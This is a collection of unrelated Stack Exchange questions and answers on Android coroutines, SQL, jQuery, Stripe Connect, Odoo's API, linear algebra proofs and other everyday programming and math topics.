text:
Q: Is it possible to suspendCoroutine in a "by lazy" initializer? I get errors of "runBlocking is not allowed in Android main looper thread" I've got much of my app working fine with "by lazy" initializers because everything magically happens in the order that is necessary.
But not all of the initializers are synchronous.  Some of them are wrapping callbacks, which means I need to wait until the callback happens, which means I need runBlocking and suspendCoroutine.
But after refactoring everything, I get this IllegalStateException: runBlocking is not allowed in Android main looper thread
What?  You can't block?  You're killing me here.  What is the right way if my "by lazy" happens to be a blocking function?
private val cameraCaptureSession: CameraCaptureSession by lazy {
    runBlocking(Background) {
        suspendCoroutine { cont: Continuation<CameraCaptureSession> ->
            cameraDevice.createCaptureSession(Arrays.asList(readySurface, imageReader.surface), object : CameraCaptureSession.StateCallback() {
                override fun onConfigured(session: CameraCaptureSession) {
                    cont.resume(session).also {
                        Log.i(TAG, "Created cameraCaptureSession through createCaptureSession.onConfigured")
                    }
                }

                override fun onConfigureFailed(session: CameraCaptureSession) {
                    cont.resumeWithException(Exception("createCaptureSession.onConfigureFailed")).also {
                        Log.e(TAG, "onConfigureFailed: Could not configure capture session.")
                    }
                }
            }, backgroundHandler)
        }
    }
}

Full GIST of the class, for getting an idea of what I was originally trying to accomplish: https://gist.github.com/salamanders/aae560d9f72289d5e4b49011fd2ce62b

A: It is a well-known fact that performing a blocking call on the UI thread results in a completely frozen app for the duration of the call. The documentation of createCaptureSession specifically states

It can take several hundred milliseconds for the session's configuration to complete, since camera hardware may need to be powered on or reconfigured.

It may very easily result in an Application Not Responding dialog and your app being killed. That's why Kotlin has introduced an explicit guard against runBlocking on the UI thread.
Therefore your idea to start this process just in time, when you have already tried to access cameraCaptureSession, cannot work. What you must do instead is wrap the code that accesses it into launch(UI) and turn your val into a suspend fun.
In a nutshell:
private var savedSession: CameraCaptureSession? = null

private suspend fun cameraCaptureSession(): CameraCaptureSession {
    savedSession?.also { return it }
    return suspendCoroutine { cont ->
        cameraDevice.createCaptureSession(listOf(readySurface, imageReader.surface), object : CameraCaptureSession.StateCallback() {
            override fun onConfigured(session: CameraCaptureSession) {
                savedSession = session
                Log.i(TAG, "Created cameraCaptureSession through createCaptureSession.onConfigured")
                cont.resume(session)
            }

            override fun onConfigureFailed(session: CameraCaptureSession) {
                Log.e(TAG, "onConfigureFailed: Could not configure capture session.")
                cont.resumeWithException(Exception("createCaptureSession.onConfigureFailed"))
            }
        })
    }
}

fun useCamera() {
    launch(UI) {
        cameraCaptureSession().also { session ->
            session.capture(...)
        }
    }
}

Note that session.capture() is another target for wrapping into a suspend fun.
Also be sure to note that the code I gave is only safe if you can ensure that you won't call cameraCaptureSession() again before the first call has resumed. Check out the followup thread for a more general solution that takes care of that.


text:
Q: When I try to launch Minecraft with Intellij I keep getting an error when I try to launch Minecraft with Intellij I keep getting this error
Exception in thread "main" java.lang.UnsatisfiedLinkError: no lwjgl in
java.library.path at
java.lang.ClassLoader.loadLibrary(ClassLoader.java:1867) at
java.lang.Runtime.loadLibrary0(Runtime.java:870) at
java.lang.System.loadLibrary(System.java:1122) at
org.lwjgl.Sys$1.run(Sys.java:72) at
java.security.AccessController.doPrivileged(Native Method) at
org.lwjgl.Sys.doLoadLibrary(Sys.java:66) at
org.lwjgl.Sys.loadLibrary(Sys.java:96) at
org.lwjgl.Sys.<clinit>(Sys.java:117) at
net.minecraft.client.Minecraft.getSystemTime(Minecraft.java:2995) at
net.minecraft.client.main.Main.main(Main.java:39) at
Start.main(Start.java:11)

For me (I am not very familiar with java. I started like a week ago) it sounds like there is a file missing. But for me it looks like everything is at its place.
My dependencies:

Can anyone help me?
Thank you for reading this.
Mijasch

redpajama_set_name: RedPajamaStackExchange


text:
Q: a wifi connection that used to work is no longer recognized I have a dell xps 9343 with ubuntu 15.10 ; I have a Asus RP-N53 N600 Dual-Band WLAN Repeater which I use as a wireless access point connected with a cable to my router. It used to work fine. Since a week or so the connection is not recognized anymore (not shown). My history tells me it has been 11 days ago I last connected. The wireless connection of the router itself is shown and working and other wireless connections (neighbours) are also shown. I tried deleting the connection and adding it again as if it was a hidden connection but that does not work.
The wifi connection still works fine with my android phone.
I tried:
- resetting router
- reinstall of broadcom drivers (PCI ID: 14e4:43b1 rev 03) using this:
Installing Broadcom Wireless Drivers
but did not work.

A: As I have two of these asus repeaters I noticed the other not having the problem. It seems to be DHCP related as when I switch the location after more then an hour the problematic one is now recognized whereas the other instantaneously. After my laptop 'found' it it reappears quickly after reboot. So now it is solved for me.


text:
Q: SQL Cannot add foreign key restraint I have this code for SQL and continually get errors in trying to create the foreign key. I have no idea what I am doing.
CREATE TABLE IF NOT EXISTS `myDatabaseOne`.`Teams` (
    `idTeams` INT NOT NULL COMMENT '    ',
    `Semester` VARCHAR(45) NOT NULL,
    `Year` YEAR NOT NULL,
    `Captain` INT(5) NOT NULL,
    `Sport` INT NOT NULL,
    PRIMARY KEY (`idTeams`),
    INDEX `fk_Teams_Students_idx` (`Captain` ASC),
    INDEX `fk_Teams_Sports1_idx` (`Sport` ASC),
    CONSTRAINT `fk_Teams_Students`
      FOREIGN KEY (`Captain`)
      REFERENCES `myDatabaseOne`.`Students` (`idStudents`)
      ON DELETE NO ACTION
      ON UPDATE NO ACTION,
    CONSTRAINT `fk_Teams_Sports1`
      FOREIGN KEY (`Sport`)
      REFERENCES `myDatabaseOne`.`Sports` (`idSports`)
      ON DELETE NO ACTION
      ON UPDATE NO ACTION)


text:
Q: What is used to control AC motor speed? This is a AC 220v 60W 0.2A fan I recently bought to replace my old bathroom vent that gave up some time ago. The problem is that the new one doesn't come with a built in speed controller like the old did, so the fan is running really loud. The people at the store tell me to go to another store to buy a speed controller but I have only found dimmers or expensive industrial speed controllers. I studied electronics some years ago and have been looking for a way to build such a speed controller, the question is how. My first guess is to control the speed by reducing the watt or amp. Any help would be welcome.
Some schematics that came with the unit (The instructions are in German):

A: I used a small triac with an integrated diac for triggering many years ago to control an AC motor; the other parts were a potentiometer, a resistor and a capacitor, IIRC. The same technique should work in your case.

A: For an AC motor, you can reduce the voltage to reduce the speed. As a quick hack, you could try running it off 120 V AC; if that speed is good, you're done.
Otherwise, you could try a triac, which chops the voltage for part of each AC cycle, making the average voltage lower, or you could use a variable transformer, like this: http://www.electroniccity.com/shopping/pricelist.asp?prid=1147


text:
Q: Catching channel faults within service methods? Is it possible, within a WCF service method, to catch a client's channel fault? Currently, I'm only able to catch channel faults through:
OperationContext.Current.Channel.Faulted += new EventHandler(Channel_Faulted);

However, I'd like the service method to be interrupted (i.e. throw an exception) if the response cannot be delivered to client. Currently, my service continues sending the response to client without throwing anything although the channel is faulted (according to the Faulted event).
Additional Note: I'm using reliable sessions with netTcpBinding, but still when the service sends the response and there is no client, I don't get an exception.

A: Why would you want your service to throw an exception when there is no client?
WCF is in essence a messaging system, just like our postal system.  If you as a client send me a letter, I (the service) will respond to your address.  I just assume that you are still living there and that you'll be still be alive to read my response.
Even if I see on the evening news that you got ran over by a truck (let's hope not ;-)) while I'm writing my response.  Why would I need to yell 'hey I can't send my response to that guy!'?  There would be no one to listen to me.  And you don't care anymore...
Reliable sessions just add an extra acknowledgement step in between.  You send me the letter, I respond with 'I got your letter, I'll respond to it later'.  If you don't get that reply, you just resend your original letter and I'll notice that you send me the same letter again.  So I'll respond again.  Same story for the response.  If I don't get your 'I got your response' message, I'll try to respond again, and again, and again.  Until I finally give up...  either because I watched the evening news or I'm getting tired of writing the same letter again.  But the end result is the same.  I have still no one to yell to, because you are not listening to me anymore...
The story is different in duplex bindings.  Then the communication is ended when the server gets the message.  And then the roles become reversed (server becomes client and client becomes server).  The server (now client) sends a new communication on the return channel to the client (now server).  And because that call is triggered by a method call, that method call will fail with an exception on the server side.


text:
Q: Deploying multi module maven project with Jenkins I have a multi module Maven application. The project structure is like
parent
 |_ main
    |_ pom.xml   //<dependency> library_project, <packaging> jar
 |_ library
    |_ pom.xml
 |_ pom.xml    // with two <modules> and <packaging> pom

I have nexus repository and was trying to deploy it to AWS with Jenkins. But I am unable to change Jenkins settings since it's a provided service from another company. The Jenkins job success, but at the final step because it was uploading parent.pom in the parent/target folder instead of main.jar in the parent/main/target folder. In the end, the cloud service reported deployment error since it expect a .jar file but got a .pom file.
I am not very familiar with Jenkins, but I am guessing Jenkins find the parent pom and decide the final artifact should be <parent_artifact_id>.pom? I tried to change settings/plugins in POMs in order to let Jenkins upload the correct jar (i.e., parent/target/main.jar) but none of them works so fat. Any suggestion would be helpful. Thanks.

A: After doing some research, I agree with @lanW in the comments. It's highly related to the Jenkins settings. I will check with them about detail implementations. Thanks, i will close this.


text:
Q: Ansible Galaxy keep SCM files I'm using the command:
ansible-galaxy install -r requirements.yml

where requirements.yml is:
- src: https://github.com/USERNAME/ANSIBLE-ROLE.git
  version: master
  scm: git

and it creates the directory: /etc/ansible/roles/ANSIBLE-ROLE
How I can keep the SCM files like the .git directory?

A: I guess your are out of luck here.
This is how things done: mkdir, clone, checkout, archive, rmtree.
Then required role is installed from temporary archive file.


text:
Q: Download report PDF ODO 13 API External I've been hitting my head against a wall since a week ago. I am working with Odoo 13 and with the external API that it offers for java using XMLRPC client, as they teach in their documentation.
My goal is to obtain a report PDF for an invoice. Researching in the documentation and in other forums, I have found that I have to use the "render_qweb_pdf" function of the ir.actions.report model. This function returns me what the PDF data would be once obtained, and then I would parse them with this data and obtain the PDF, or I could also create an attachment and access it.
This is an example of my goal in python and the code
pdf = self.env.ref('account.account_invoices').sudo().render_qweb_pdf([self.id])[0]
self.env['ir.attachment'].create({
    'name': self.number + ".pdf",
    'type': 'binary',
    'res_id': self.id,
    'res_model': 'account.invoice',
    'datas': base64.b64encode(pdf),
    'mimetype': 'application/x-pdf',
    'datas_fname': self.number + ".pdf"
})

My first problem comes when I execute that function in java, following the models that I need and the data to pass the function, which is the following:
models.execute("execute_kw", Arrays.asList(
                db, uid, password,
                "ir.actions.report", "render_qweb_pdf",
                Arrays.asList(id, res_ids)
            ));

Integer idAttach = (Integer)models.execute("execute_kw", Arrays.asList(
                   db, uid, password, "ir.attachment", "create",
                    Arrays.asList(new HashMap() {{
                            put("name", saved_invoice.get("display_name"));
                            put("type", "binary");
                            put("datas", "/*Response of the function render_qweb_pdf*/");
                            put("store_fname", saved_invoice.get("display_name"));
                            put("res_model", "account.move");
                            put("res_id", saved_invoice.get("id"));
                            put("mimetype", "application/x-pdf");
                    }})
        ));

And the response of "render_qweb_pdf" is :
Failed to parse server's response: An invalid XML character (Unicode: 0x10) was found in the element content of the document
I don't know why it is because it is more a problem with the Odoo Server or XMLRPClient in java that does not accept the encoding of the response.
        final XmlRpcClient models = new XmlRpcClient() {{
            setConfig(new XmlRpcClientConfigImpl() {{
                setServerURL(new URL(String.format("%sxmlrpc/2/object", url)));
                setBasicEncoding(Charsets.UTF_8.name());
                setEncoding(Charsets.UTF_8.name());
                setEnabledForExceptions(true);
                setEnabledForExtensions(true);
            }});
        }};

I have tried to change the encoding when creating the client and there has been no way to solve it. It's possible that I am doing something wrong when making the request, but I no longer know what to do.
I have also tried to make the request directly against the server, but I need a token that the user does not provide me.
Could someone tell me what to do? Greetings and thank you.


text:
Q: Show the set of positive rationals under multiplication is not cyclic I want to check if my proof needs any modification:
Let $q$  belong to $\mathbb Q$
Then $\langle q\rangle =e,q,q^2,...$
But there exist no $q$ such that $\langle q\rangle=\mathbb Q\;$  since between every power of $q$ there is a rational $p$ that is not in $\langle q\rangle$
=> no element generates $\mathbb Q$
=> it's not cyclic

A: Assume that $q\in\mathbb{Q}^+$ generates the group that is
$$\langle q\rangle=\{q^n: n\in\mathbb{Z}\}=\mathbb{Q}^+.$$
Without loss of generality we may assume that $q>1$ (note that  $\langle q\rangle=\langle q^{-1}\rangle$ and $\langle 1\rangle=\{1\}$).
Then
$r=\frac{1+q}{2}\in \mathbb{Q}^+$, but for any positive integer $n$,
$$0<q^{-n}<1<r<q^{n}$$
which means that $r\not\in \langle q\rangle$. Contradiction.


text:
Q: Method delegation in Javascript/jQuery? I have this code:
var myWidget = $('#myWidget');

and calls like this elsewhere:
myWidget.hide();
myWidget.slideToggle();

These work of course because jQuery adds these methods.
Now, let's say I'm doing some refactoring to make myWidget a proper object with its own custom methods and state:
var myWidget = (function() {
    // private stuff
    var actualJQueryObject = $('#myWidget');
    return {
        publicMethod: function() {...},
        // MAGIC!
    }
})()

but I want to have all the calls that expect a jQuery object, which are all around my code, to still work even though myWidget is no longer a jQuery object, because myWidget knows how to delegate these calls to actualJQueryObject.
Is this possible?

A: You could also extend your jQuery object, with another object that has your custom methods:
var myWidget = function() {
    // private stuff
    var actualJQueryObject = $('#myWidget');

    var extensionMethods = {
        publicMethod: function() { alert('public method!'); }
    }
    return $.extend(actualJQueryObject, extensionMethods);
}();

Just be careful with the name of your extension methods, to not clash with any other jQuery defined function.
You can try the above snippet here.

A: One option is using the original jquery object as a prototype.
function wrap(jqObject) {
    function MyNewType() {
        this.changeFontSize = function(a) {
            this.css({fontSize : this.size});
        };
    }
    MyNewType.prototype = jqObject;
    return new MyNewType;
}
var obj = wrap($('#someitem'));
obj.size = 50;        // obj.size
obj.changeFontSize(); // obj.changeFontSize
obj.hide();           // $.hide
obj.fadeIn("slow");   // $.fadeIn

A: I've written a plugin that might help you. It's basically a plugin for writing plugins. This dev group post explains it and has some code samples:
http://groups.google.com/group/jquery-dev/browse_thread/thread/664cb89b43ccb92c/72cf730045d4333a?hl=en&q=structure+plugin+authoring#72cf730045d4333a
And the source is here:
http://code.google.com/p/jquery-plugin-dev/source/browse/trunk/jquery.plugin.js
EDIT:
I created a function that has similar functionality to that plugin:
jQuerify = function(fn) {
    function plugin() {
        var instantiate = false;

        // check to see if it has any prototyped methods (we only need one iteration to do this)
        for (var i in construct.prototype) {
            instantiate = true;

            break;
        }

        // if there are prototyped methods, return an instance (since an instance's return value won't vary)
        // otherwise just call it using apply so the return value can vary
        return instantiate
            ? new construct(this, arguments)
            : construct(this, arguments);
    }

    function construct(parent, args) {
        // 'this' will not mimic jQuery unless given the length property
        this.length   = 0;
        this.selector = parent.selector;
        this.context  = parent.context;

        // mimic 'this' in jQuery, but for the plugin namespace
        Array.prototype.push.apply(this, $.makeArray(parent));

        // return the constructors return value
        // should be 'this' if you want to chain the new namespace
        return fn.apply(this, arguments);
    }

    // copy all static properties and methods
    for (var i in fn) {
        plugin[i] = fn[i];
    }

    // allow .fn and copy all instance properties and methods; the last part is for IE
    plugin.fn = construct.prototype = plugin.prototype = fn.prototype;

    return plugin;
}

This allows you to add custom objects to jQuery as a plugin while using 'this' to refer to the selected objects and also allows you to have an unlimited depth to your namespace:
function test1() {
    return this;
}
test1.prototype.getHtml1 = function() {
    return $(this).html();
}

function test2() {
    return this;
}
test2.prototype.getHtml2 = function() {
    return $(this).html();
}

function test3() {
    return this;
}
test3.prototype.getHtml3 = function() {
    return $(this).html();
}

jQuery.fn.test1                   = jQuerify(test1);
jQuery.fn.test1.fn.test2          = jQuerify(test2);
jQuery.fn.test1.fn.test2.fn.test3 = jQuerify(test3);

jQuery(function($) {

    alert($('body').test1().getHtml1());
    alert($('body').test1().test2().getHtml2());
    alert($('body').test1().test2().test3().getHtml3());

});


text:
Q: Getting error when I try to payout to managed account Trying to used managed accounts for payouts. Basically a user is charged and the money is sent to the managed account instead of the platform account. I am using "sharing customers" I am using the code at the bottom of this link https://stripe.com/docs/connect/shared-customers. After retrieving the token I try to do a single charge I get an error saying "Card information not found", but I am passing the cardId when creating the token
Error: message: "Could not find payment information"
Stripe.tokens.create(
 { customer: request.params.customerId, card: request.params.cardId },
 { stripe_account: 'acct_xyz' }, // id of the connected account
  function(err, token) {

  Stripe.charges.create(
 {
amount: 1000, // amount in cents
currency: "usd",
source: token,
description: "Example charge",
application_fee: 123 // amount in cents
},
function(err, charge) {
console.log(err);
 });
});

A: Does this work for you? The key differences here are

*

*I'm including { stripe_account: 'acct_xyz' } on the stripe.charges.create request as well as this needs to happen on the connected account itself if using Shared Customers. https://stripe.com/docs/connect/payments-fees#charging-directly

*Instead of token as source I'm using only the id attribute of the token object (e.g. tok_xxxyyyzzz).
Sample:
// id of connected account you want to create customer on, charge
var connectedAccountId = "acct_16MNx0I5dd9AuSl3";

// id of customer and card you want to create a token from

var platformCustomerId = "cus_8vEdBa4rQTGond";
var platformCustomerCardId = "card_18dOAcFwTuOiiF4uwtDe2Nip";

var stripe = require("stripe")(
  "sk_test_xxxyyyyzzz"
);

    // create a token using a customer and card on the Platform account
    stripe.tokens.create(
      {customer: platformCustomerId, card: platformCustomerCardId },
      {stripe_account: connectedAccountId},
      function(err, token) {
        if (err)
          throw (err);

            stripe.charges.create({
              amount: 4444,
              currency: "usd",
              source: token.id,
              description: "Charge on a connected account",
              application_fee: 1111
            },
            {stripe_account: connectedAccountId},
            function(err, charge) {
              if (err)
                throw (err);
              console.log(charge);
            });
        });

Alternatively, as you said you're using Managed Accounts, you might want to consider charging through the Platform, which allows you to avoid the Shared Customers flow altogether, see here for a sample, https://stripe.com/docs/connect/payments-fees#charging-through-the-platform


text:
Q: How to proceed : Show $\det A=0$ if two rows or columns are identical $A$ is an $n \times n$ matrix. I want to show it has $\det A=0$, if two rows or columns are identical, without invoking linear dependency or the like.
I was looking at a $3\times 3$ matrix, and noticed that if the second and third columns of the matrix were identical, then each term in the sum had an additive inverse - therefore $\det A=0$. This is all according to the definition $$\det A=\sum_{b\in S_n}(-1)^Pa_{1(b)}a_{2(b)}...a_{n(b)}$$
So for an $n\times n$ matrix, we would have a sum with $n!$ terms and each pair of permutations (columns $n-1$, $n$ are identical) $b_1=(1,2,3,...n-1,n)$, $b_2=(1,2,3,...n,n-1)$ would just be equals with a different sign, since they require a different number of transpositions $P$ to construct. A difference of one, that is, and so they have opposite signs. Is it possible to construct the proof using this idea? What is the problem?

A: Let $n\ge2$, and suppose columns $i$ and $j$ are the same for some $1\le i<j\le n$.
Note that $A_n$, the group of even permutations, has two left-cosets: $A_n$ and $(ij)A_n$.
Note also, that for any $\sigma\in A_n$, if $\pi=(ij)\sigma$, then we can show that
$$a_{1,\pi_1}\cdot a_{2,\pi_2}\cdot\ldots\cdot a_{n,\pi_n}=a_{1,\sigma_1}\cdot a_{2,\sigma_2}\cdot\ldots\cdot a_{n,\sigma_n}.$$
The idea is that $\pi$ behaves just like $\sigma$ except that if $\sigma$ sends $k\mapsto i$, then $\pi$ sends $k\mapsto j$, and vice versa. But in each case the above products are the same, since columns $i$ and $j$ are the same.
Hence we have that
$$\begin{align*}
\det(A) &= \sum_{\sigma\in S_n}(-1)^{\text{sign}(\sigma)}a_{1,\sigma_1}\cdot a_{2,\sigma_2}\cdot\ldots\cdot a_{n,\sigma_n} \\
&= \sum_{\sigma\in A_n}a_{1,\sigma_1}\cdot a_{2,\sigma_2}\cdot\ldots\cdot a_{n,\sigma_n}+\underset{\sigma\in A_n}{\sum_{\pi=(ij)\sigma}}(-1)\cdot a_{1,\pi_1}\cdot a_{2,\pi_2}\cdot\ldots\cdot a_{n,\pi_n} \\
&= \sum_{\sigma\in A_n}\left(a_{1,\sigma_1}\cdot a_{2,\sigma_2}\cdot\ldots\cdot a_{n,\sigma_n}-a_{1,\sigma_1}\cdot a_{2,\sigma_2}\cdot\ldots\cdot a_{n,\sigma_n}\right)=0.\end{align*}$$
A similar proof that works when two rows are the same can be recovered from this one. Alternatively, you could use the above determinant definition to show that $\det(A^T)=\det(A)$.

A: This result is in the very definition of the determinant (relative to a basis)  for a vector space $V $ of dimension $n$ with basis $\mathcal B=(e_1,e_2,\dots, e_n)$ over a field $K$: it is the $n$-linear alternating form on $V^n$, $f(v_1,v_2,\dots,v_n)$, which takes the value $1$ on the basis.
It can be shown that all alternating forms on $V_n$ are  scalar multiples of this form.
Alternating means precisely that if any two vectors $_i$ and $v_j$ are equal, the form takes the value $0$. What you specify as the definition of the determinant is just a consequence of being alternating and $n$-linear, thereby giving away to calculate explicitly the determinant.


text:
Q: Completely general purpose code on a GPU I was approached by a client to work on a project that will involve trying to run full scale programs on the GPU with OpenCL.
I have decent knowledge of CUDA and low level machine architecture. As far as I understand, GPU code does not have a call stack, nor does it have pointers, or any unstructured control flow mechanism like goto, exceptions or function pointers.
To me it resembles a rudimentary FORTRAN dialect in terms of semantics.
I know that GPU kernels called from another GPU kernel get inlined like macro expansions, there is no CALL/RET mechanism
As far as I understand, you cannot have a lexically scoped language without a stack and the dialect that OpenCL compiles is a very flat subset of C and similarly CUDA, while allowing templates and stuff, gives us only a very small subset of C++
The client wants to translate from Javascript to C to LLVM and then to OpenCL bytecode, or somehow get full scale programs to run on the GPU, even if they run slowly with no parallelism
Am I right in convincing the client that what he hopes to achieve is technically impossible and not really useful?


text:
Q: autoLink for map not working I have the following TextView in my XML layout file:-
<TextView
   android:layout_width="fill_parent"
       android:layout_height="wrap_content"
       android:text="@string/autolink_test"
       android:autoLink="all"
/>

The string autolink_test contains a phone number, an email address, a website address and a physical geographical address.
While the first three are showing up correctly as clickable autolinks, the address does not. Only the zipcode part shows up as an autolink... and that too as a phone number! (When I click it, the phone dialer starts up with that number).
Any help would be appreciated.

A: Alternative to it, in case if autolink doesn't work
Add links to your texview . Get it underline as folows :
SpannableString spanStr = new SpannableString(buf.toString());
spanStr.setSpan(new UnderlineSpan(), 0, spanStr.length(), 0);
iTextView.setText(spanStr);

Use the following code to open it with map app on click as follows :
Intent geoIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("geo:0,0?q="
                                +iTextView.getText().toString()));
startActivity(geoIntent);

A: OK, I figured out what was causing the problem. Just thought I will leave the answer here in case someone else runs into the same problem.
If the street address is not properly capitalized, it is not read properly as the address!
Here is my XML autolink_test string:
<string name="autolink_test">Name: New York Times \n
   Email: public@nytimes.com \n
   Phone: 212-556-7652 \n
   Address: 620 Eighth Avenue New York, NY 10018  \n
   Address: 620 Eighth avenue New York, NY 10018  \n
   Website: http://www.nytimes.com
</string>

The first address shows up correctly as an autolink.
The second one (with a small 'a' in 'avenue') does not show up correctly.
This seems a little strange to me as the google maps website certainly doesn't care about such niceties.
Anyways, so here it is :-)


text:
Q: In JQuery 1.4.2 .ajax converts JSON wrong My code worked fine in JQuery 1.3.2, but in 1.4.2 it seems to be broken. What it should get in the post is something like this:
?pks=108;pks=107

What I now get is:
?pks[]=108;pks[]=107;

When I trace this code through, the JSON object seems to be fine until it enters .ajax. Firebug, after the response is received, shows the post was:
Parameters  application/x-www-form-urlencoded
pks[]   108
pks[]   107
Source
pks%5B%5D=108&pks%5B%5D=107

Which is not what I got on JQuery 1.3.2. Where are those extra braces coming from?

A: JQuery 1.4 released a change for Nested param serialization. From their site:

jQuery 1.4 adds support for nested param serialization in jQuery.param, using the approach popularized by PHP, and supported by Ruby on Rails. For instance, {foo: ["bar", "baz"]} will be serialized as "foo[]=bar&foo[]=baz".
In jQuery 1.3, {foo: ["bar", "baz"]} was serialized as "foo=bar&foo=baz". However, there was no way to encode a single-element Array using this approach. If you need the old behavior, you can turn it back on by setting the traditional Ajax setting (globally via jQuery.ajaxSettings.traditional or on a case-by-case basis via the traditional flag).

The [] brackets are normally used to indicate an array, and this appears to be what they are trying to make more obvious here I think (as your query-string could be read to see that one value is being overwritten by the other).
Edit:
I think you could probably follow their suggestion to use either:
// Globally set it to use the old 1.3.* way of doing things.
jQuery.ajaxSettings.traditional = true;

// Enables the 1.3.* way for a single Ajax request only
$.ajax({ data: stuff, traditional: true });


text:
Q: Error: Failed to read audio(pocketsphinx + espeak) I am trying to recognize voices from microphone by pocketsphinx and pass it through espeak to say what it recognized in real-time/continuous speech(I mean user says a word/sentence, pocketsphinx will recognize it and collects it inside char* hyp, then passes the hyp to speech() function that uses espeak to say what is inside the hyp. But I don't know why do I get

Failed to read audio

In this part of the code:
if ((k = ad_read(ad, adbuf, 2048)) < 0)
    E_FATAL("Failed to read audio\n");

This is the complete code:
static ps_decoder_t *ps;

    static cmd_ln_t *config;
    static FILE *rawfd;
    ad_rec_t *ad;
    char  *hyp;

    espeak_POSITION_TYPE position_type;
    espeak_AUDIO_OUTPUT output;
    char *path=NULL;
    int Buflength = 2048, Options=0;
    void* user_data;
    char Voice[] = {"English"};
    unsigned int Size,position=0, end_position=0, flags=espeakCHARS_AUTO, *unique_identifier;
    t_espeak_callback *SynthCallback;
    espeak_PARAMETER Parm;

    static void after_speech()
    {
        espeak_Synth( hyp, Size, position, position_type, end_position, flags,unique_identifier, user_data );
        espeak_Synchronize( );
        ad_start_rec(ad);
    }

    int receive_espeak_events(short *wav, int numsamples, espeak_EVENT *event)
    {
        while (event->type != espeakEVENT_LIST_TERMINATED)
        {

            if (event->type == espeakEVENT_MSG_TERMINATED)
            {
            after_speech();
            }
            ++event;
        }
        return 0;
    }

    static void initFuncs()
    {
        espeak_Initialize(output, Buflength, path, AUDIO_OUTPUT_PLAYBACK ); //AUDIO_OUTPUT_SYNCHRONOUS ); //Options );
        espeak_SetVoiceByName(Voice);

    }

    static void sleep_msec(int32 ms)
    {
        struct timeval tmo;
        tmo.tv_sec = 0;
        tmo.tv_usec = ms * 1000;
        select(0, NULL, NULL, NULL, &tmo);
    }

    static void speech(char* hyp)
    {

        Size = strlen(hyp)+1;
        espeak_SetSynthCallback(receive_espeak_events);

    }

    static void recognize_from_microphone()
    {
        int16 adbuf[2048];
        uint8 utt_started, in_speech;
        int32 k;

        if ((ad = ad_open_dev(cmd_ln_str_r(config, "-adcdev"),(int) cmd_ln_float32_r(config,"-samprate"))) == NULL)
            E_FATAL("Failed to open audio device\n");
        if (ad_start_rec(ad) < 0)
            E_FATAL("Failed to start recording\n");

        if (ps_start_utt(ps) < 0)
            E_FATAL("Failed to start utterance\n");

        utt_started = FALSE;
        E_INFO("Ready....\n");

        for (;;)
        {

            if ((k = ad_read(ad, adbuf, 2048)) < 0)
                E_FATAL("Failed to read audio\n");
            ps_process_raw(ps, adbuf, k, FALSE, FALSE);
            in_speech = ps_get_in_speech(ps);
            if (in_speech && !utt_started)
            {
                utt_started = TRUE;
                E_INFO("Listening...\n");
            }
            if (!in_speech && utt_started)
            {

                ps_end_utt(ps);
                hyp = (char*)ps_get_hyp(ps, NULL );
                if (hyp != NULL)
                {
                 ad_stop_rec(ad);
                 speech(hyp);

                    printf("%s\n",hyp);
                    fflush(stdout);
                //    sleep_msec(3000);

                }

                if (ps_start_utt(ps) < 0)
                    E_FATAL("Failed to start utterance\n");
                utt_started = FALSE;
                E_INFO("Ready....\n");

            }
        }//for loop
        ad_close(ad);
    }

    int main(int argc, char *argv[])
    {
        initFuncs();

        config = cmd_ln_init(NULL, ps_args(), TRUE,
                     "-hmm", "/home/m/myrobot3/robot/model_parameters/robot.cd_cont_1000",
                         "-lm","/home/m/myrobot3/robot/etc/robot.lm.bin",
                         "-dict", "/home/m/myrobot3/robot/etc/robot.dic",
                         NULL);

        ps = ps_init(config);
        recognize_from_microphone();

        ps_free(ps);
        cmd_ln_free_r(config);

        return 0;
    }

NOTE: I used espeak_SetSynthCallback(receive_espeak_events); because I must pause the pocketsphinx's listening to new voices, until the espeak ends speaking of the previous recognized voice. So I tried to ad_stop_rec(ad); after finding a new hyp() inside the for(;;) loop, then tried to ad_start_rec(ad); when espeakEVENT_MSG_TERMINATED happened inside the receive_espeak_events callback.


text:
Q: Had commissioned into commissioned?
Mona Lisa was commissioned to celebrate the birth at a baby boy. The lady in the painting was Lisa del Giocondi,who was a member of the Gheradini family in Florence. It is assumed that the family had commissioned the painting to celebrate the birth of their second son,Andrea.

If i replace had commissioned with commissioned,  then the meaning would be changed?

A: It doesn't change the meaning. The use of had indicates that the commissioning is further in the past than the time of the context, but that is semantically obvious anyway, so it is unnecessary.

A: No, the meaning would not change fundamentally.
The use of had in similar contexts may help to make things clearer, but I can't see how a native speaker would misunderstand this piece if it was dropped.


text:
Q: How to implement a blinds toggle effect with jQuery I'm trying to write a "blinds" function that would close a DIV in a display:none mode. The unseen DIV is inside a wider DIV, containing the blind trigger.
This:
$(document).ready(function () {
    $("#toggle_blind").click(function () {
        $(this).toggle("fast");
    });
});

Well, this blinds the button. How can I add a DIV to $this? Something like:

Close

some text

How do I make the Close Button on H3 to close/open the CloseButton DIV on each click?

A: The div is the next sibling of the h3 so you can use .next()
E.g
$('#closeButton').click( function(){
  $(this).next().toggle();
});

A: Reference the div directly, you may put something else in between it and the h3.
$(document).ready(function()
{
    $("#closeButton").click(function()
    {
        $("#closeThis").toggle("fast");
    });
});


text:
Q: How to the display evaluation metrics and confusion matrix for my model am working on fake news detection. i have really gone fall. i have been able to display the accuracy score but i want include other evaluation metrics (Precision_score, F1_score, recall_score
this is a model for predicting fake news using features from the dataset  after scaling
 X_train, X_test, y_train, y_test = train_test_split(X, Ylabels, test_size = 0.2, random_state =42)
 logit = LogisticRegression()
 logit.fit(X_train, y_train)
print("Accuracy Score: ", logit.score(X_test, y_test))

Accuracy Score:  0.9267158873393492
Precision Score:  0.xxxxxxx
Recall Score:  0.xxxxxxxx
F1 Score:  0.xxxxxxxxx
confusion matrix
[[xxxx     xxxxxx]
 [  xx     xxxxxx]]

A: First get a Series of your predictions
 preds = logit.predict(X_test)

Then import and call any scoring function on them
from sklearn.metrics import f1_score
f1_score(y_test, preds)

You can see a list of a lot of the scoring functions you can use here:
https://scikit-learn.org/stable/modules/classes.html#module-sklearn.metrics


text:
Q: Two subspaces of $\Bbb R^n$ If $A$ and $B$ are subspaces of $\mathbb R^n$. Is it possible to find a basis for $\mathbb R^n$ that contains a basis for $A$ and $B$?
It has been  suggested to me that we define a basis for $A\cap B$ and then use that to define basises $A$ and $B$.  I would like to understand why this approach is taken and how this is used to answer the above question. Please do not skip any details, I want to fully understand this method.
The main crux of my question is  don't quite know how to answer this question. I also don't understand why the above was suggested.
